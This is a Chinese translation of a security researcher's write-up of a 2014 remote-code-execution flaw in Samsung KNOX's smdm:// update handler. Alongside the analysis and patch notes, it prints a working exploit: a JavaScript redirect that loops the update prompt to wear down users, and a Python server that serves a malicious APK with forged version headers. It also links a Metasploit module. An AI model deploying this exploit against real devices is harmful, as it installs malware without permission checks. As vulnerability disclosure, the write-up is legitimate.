深度:剖析三星Galaxy KNOX遠程代碼執行漏洞
本文將詳細介紹三星 Galaxy S5最新發現的遠程執行漏洞,攻擊者可以藉此漏洞入侵系統。目前三星官方已在Galaxy S5、Note 4和Alpha產品中修復此漏洞,但在S4,S4 Mini,Note3和Ace 4(可能還有其他設備)上尚未被修復。
介紹
KNOX,是三星的一款基于開源Android平臺的安全解決方案,可以通過物理手段和軟件體系相結合的方式全面增強了安全性。
我們Quarkslab團隊喜歡搗鼓Android設備。所以當三星Galaxy S5發布時,我們檢查了一下它的固件。很快我們便發現了一個簡單的漏洞和可用的exp(漏洞利用)。出現漏洞的程序是UniversalMDMApplication。這個程序默認包含在S5的ROM中,也是三星KNOX安全解決方案中的一部分。
利用這個漏洞我們可以讓有漏洞的程序誤以為有新的更新。結果就是應用程序會彈出一個窗口詢問用戶是否需要更新。如果用戶選擇“是”,惡意軟件就會安裝;而如果用戶選擇了“否”,我們可以再次彈出窗口讓用戶誤以為“否”這個按鈕失效了。我們的漏洞可以通過email實現(讓用戶點擊一個鏈接),或者也可以在用戶用Chrome/自帶瀏覽器瀏覽網頁時被觸發。或者攻擊者也可以在MITM(中間人攻擊)時在HTML網頁中注入一段JavaScript來實現漏洞。
我們一直沒有公布這個漏洞因為我們打算在mobile pwn2own大賽公布,但貌似今年的規則更嚴了。新的規則中,受害者只能做一次點擊操作。所以當彈窗出現時,盡管大部分用戶會點擊“是”,但對Pwn2Own大賽而言,這已經犯規。
即使沒有“用戶交互”的問題,這個漏洞今年8月也已經在三星Note 4和Alpha上修復,只是直到10月還未在Galaxy S5上修復,所以這漏洞也不能用于pwn2own了。
本文將介紹漏洞工作原理,提醒開發者注意此類漏洞,還將附上漏洞的利用方式。
時間線
2014年4月 - 三星Galaxy S5發布,我們發現了漏洞
2014年8月 - 三星Galaxy Note 4和Alpha發布。在這兩款機型的ROM中漏洞被修復
2014年10月 - 三星S5上的漏洞被修復
2014年11月 - Mobile Pwn2Own大賽
據我們所知,以下機型的漏洞尚未被修復:
三星 Galaxy S4 (ROM版本: I9505XXUGNH8)
三星 Galaxy S4 mini (ROM版本: I9190UBUCNG1)
三星 Galaxy Note 3 (ROM版本: N9005XXUGNG1)
三星 Galaxy Ace 4 (ROM版本: G357FZXXU1ANHD)
警告:這份列表中沒有列出所有設備,其他的設備也可能有漏洞。在文章結尾處有修復漏洞的方法。#p#
漏洞分析
簡短writeup
UniversalMDMClient應用默認是以三星KNOX組件被安裝的,它會注冊一個URI:"smdm://"。當用戶點擊一個指向"smdm://"的鏈接時,UniversalMDMClient中的LaunchActivity組件就會啟動并分析這個URL。它會從這個URL中提取很多信息,包括更新服務器的URL。
提取到更新服務器的URL后,應用會對URL使用HEAD方法,它會檢查服務器是否返回一個非標準的header:"x-amz-meta-apk-version"。如果服務器返回了這個header,它會檢查UniversalMDMClient應用的當前版本,與"x-amz-meta-apk-version" header中的版本進行比對。如果header的版本號更新,它就會向用戶顯示一個彈窗提醒用戶有可用更新,詢問用戶是否需要升級。
如果用戶選擇了“是”,程序就會像更新服務器URL發送GET請求,而響應內容就會以APK文件的形式保存,最后,它會在不提示用戶這個應用程序需要的權限也不檢查程序證書的情況下安裝應用。因此,如果攻擊者能夠讓用戶更新,他也就可以在用戶的設備上安裝惡意軟件了。
2014年10月漏洞被修復,程序會檢查下載的APK程序的包名是否與UniversalMDMClient應用中的相同。由于兩個程序有兩個不同證書而包名相同,所以就不能安裝惡意程序了。
詳細writeup
在UniversalMDMClient的AndroidManifest.xml文件中,我們可以看到它定義了URI:
- manifest android:versionCode="2" android:versionName="1.1.14" package="com.sec.enterprise.knox.cloudmdm.smdms"
- xmlns:android="http://schemas.android.com/apk/res/android">
- <uses-sdk android:minSdkVersion="17" android:targetSdkVersion="19" />
- [...]
- <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
- [...]
- <application android:allowBackup="true" android:name=".core.Core">
- <activity android:configChanges="keyboard|keyboardHidden|orientation" android:excludeFromRecents="true"
- android:label="@string/titlebar" android:name=".ui.LaunchActivity" android:noHistory="true"
- android:theme="@android:style/Theme.DeviceDefault">
- <intent-filter>
- <data android:scheme="smdm" />
- <action android:name="android.intent.action.VIEW" />
- <category android:name="android.intent.category.DEFAULT" />
- <category android:name="android.intent.category.BROWSABLE" />
- </intent-filter>
- </activity>
- [...]
- </application>
- </manifest>
第11至16行中的intent-filter注冊了URI "smdm://" 并將它與com.sec.enterprise.knox.cloudmdm.smdms.ui.LaunchActivity組件關聯起來。當用戶嘗試打開一個"smdm://" URI時,LaunchActivity中的onCreate()方法就會處理這個URL。我們會從這里深入探究代碼。除了程序代碼通過proguard被“混淆”過,用JEB反編譯器對其進行分析沒有任何困難。
以下是反編譯得到onCreate()方法的源代碼:
onCreate()首先做的是(通過getPreETAG()函數)檢查/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/目錄中是否存在文件PreETag.xml。如果文件存在,應用會調用finish()方法結束執行。默認情況下PreETag.xml文件并不存在。
接著,應用程序會獲取Intent來啟動Activity或者更準確地說是其中的鍵值。鍵值的格式必須是"smdm://hostname?變量1=值1&變量2=值2"。變量名能夠從來源中輕松獲取:seg_url, update_url, email, mdm_token, program和quickstart_url。最重要的是quickstart_url。在一個shared_preference文件內寫入所有這些變量后,調用Core.startSelfUpdateCheck(),onCreate()結束。
Core.startSelfUpdateCheck()負責檢查當前是否正在進行更新,如果沒有,則調用UMCSelfUpdateManager.startSelfUpdateCheck():
UMCSelfUpdateManager.startSelfUpdateCheck()函數檢查是否有數據連接,如果有正在等待的更新則將其刪除,并根據umc_cdn字符串的值構造一個URL,umc_cdn字符串是在shared_pref文件"m.xml"中的,構造完成后將其賦上字符串常量"/latest"。umc_cdn的值就是Intent中的鍵值udpdate_url。所以這是個被攻擊者完全控制的值。接下來它會調用UMCSelfUpdateManager.doUpdateCheck(),把之前構造的URL當作第一個參數:
這個函數中,ContentTransferManager被初始化,并向攻擊者控制的URL發送HEAD HTTP請求。請求的不同狀態會由handleRequestResult類和onFailure()、 onProgress()、onStart()、onSucess()等方法處理。
當然,最有趣的方法還是onSucess()了。它會檢查header中的ETag、Content-Length和x-amz-meta-apk-version。header中的x-amz-meta-apk-version值會與當前UniversalMDMApplication APK包的版本進行比較。如果header中的x-amz-meta-apk-version版本號大于當前的APK版本,則判斷為需要更新。
這時候,用戶屏幕會彈出一個窗口,稱應用有更新,詢問用戶是否要安裝。如果他選擇“是”,我們就能繼續攻擊了。
如果用戶選擇“是”,UMCSelfUpdateManager.onSuccess()就會被調用,它會調用onSucess()方法:
而這個onSuccess()會最終調用beginUpdateProcess()開始更新線程:
更新線程會調用執行installApk(),而installApk()又會調用_installApplication() _installApplication()的功能就是禁止包驗證 (防止Google掃描APK)安裝APK之后再重新開啟包驗證:
整個過程到此結束。下載的APK既沒有經過驗證,也沒有向用戶展示請求的權限。因此這個漏洞能夠被攻擊者用來安裝惡意程序。
而當更新安裝完成后,漏洞就不能再被利用了。因為更新成功后,ETag header的值被寫入/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/PreETag.xml,而LaunchActivity的onCreate()方法中首先就會檢查該文在是否存在。#p#
三星的補丁
為了防止漏洞被利用,程序現在會在安裝前檢查包名,包名必須與UniversalMDMApplication中的包名相同。
以下是進行檢查的函數:
打過補丁的系統中的彈窗:
漏洞利用
EXP相當的簡單,你得讓你的受害者點擊你的URI,可以通過郵件或者是用網頁中JavaScript把他們重定向過去:
- <script>
- function trigger(){
- document.location="smdm://meow?update_url=http://yourserver/";
- }
- setTimeout(trigger, 5000);
- </script>
有趣的是當你用JavaScript觸發exp時,如果用戶選擇“取消”,Android會返回網頁,繼續執行JavaScript代碼。這意味著我們可以在JavaScript中做循環。用戶可能會認為彈窗的取消鍵不好使了,他們可能就會點“是”。
服務器端,你得返回以下header:
x-amz-meta-apk-version : 編一個大一點的數字。比如 1337 ;
ETag : 假APK的md5校驗值;
Content-Length : APK的大小
以下是服務器端的代碼:
- import hashlib
- from BaseHTTPServer import BaseHTTPRequestHandler
- APK_FILE = "meow.apk"
- APK_DATA = open(APK_FILE,"rb").read()
- APK_SIZE = str(len(APK_DATA))
- APK_HASH = hashlib.md5(APK_DATA).hexdigest()
- class MyHandler(BaseHTTPRequestHandler):
- def do_GET(self):
- self.send_response(200)
- self.send_header("Content-Length", APK_SIZE)
- self.send_header("ETag", APK_HASH)
- self.send_header("x-amz-meta-apk-version", "1337")
- self.end_headers()
- self.wfile.write(APK_DATA)
- return
- def do_HEAD(self):
- self.send_response(200)
- self.send_header("Content-Length", APK_SIZE)
- self.send_header("ETag", APK_HASH)
- self.send_header("x-amz-meta-apk-version", "1337")
- self.end_headers()
- return
- if __name__ == "__main__":
- from BaseHTTPServer import HTTPServer
- server = HTTPServer(('0.0.0.0',8080), MyHandler)
- server.serve_forever()
#p#
怎么自己打補丁呢?
如果你的設備還有漏洞,你可以等三星的補丁,也可以自己修復。修復補丁不需要root權限,只需點擊這個鏈接:
smdm://patch/
實際上點擊這個鏈接時,漏洞程序會啟動,但是沒有指定的更新URL,它會使用默認的三星UMC(Universal MDM Client)服務器http://umc-cdn.secb2b.com:80,這個服務器上有最新版本的UniversalMDMClient.apk。
安裝完成后你可能會看到這個界面,按返回或者Home鍵即可。
以下是對未修復和已修復的S5系統的漏洞利用演示視頻:
譯者注:
這個漏洞已經可以在Metasploit上使用:
模塊:exploit/android/browser/samsung_knox_smdm_url
模塊下載:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/android/browser/samsung_knox_smdm_url.rb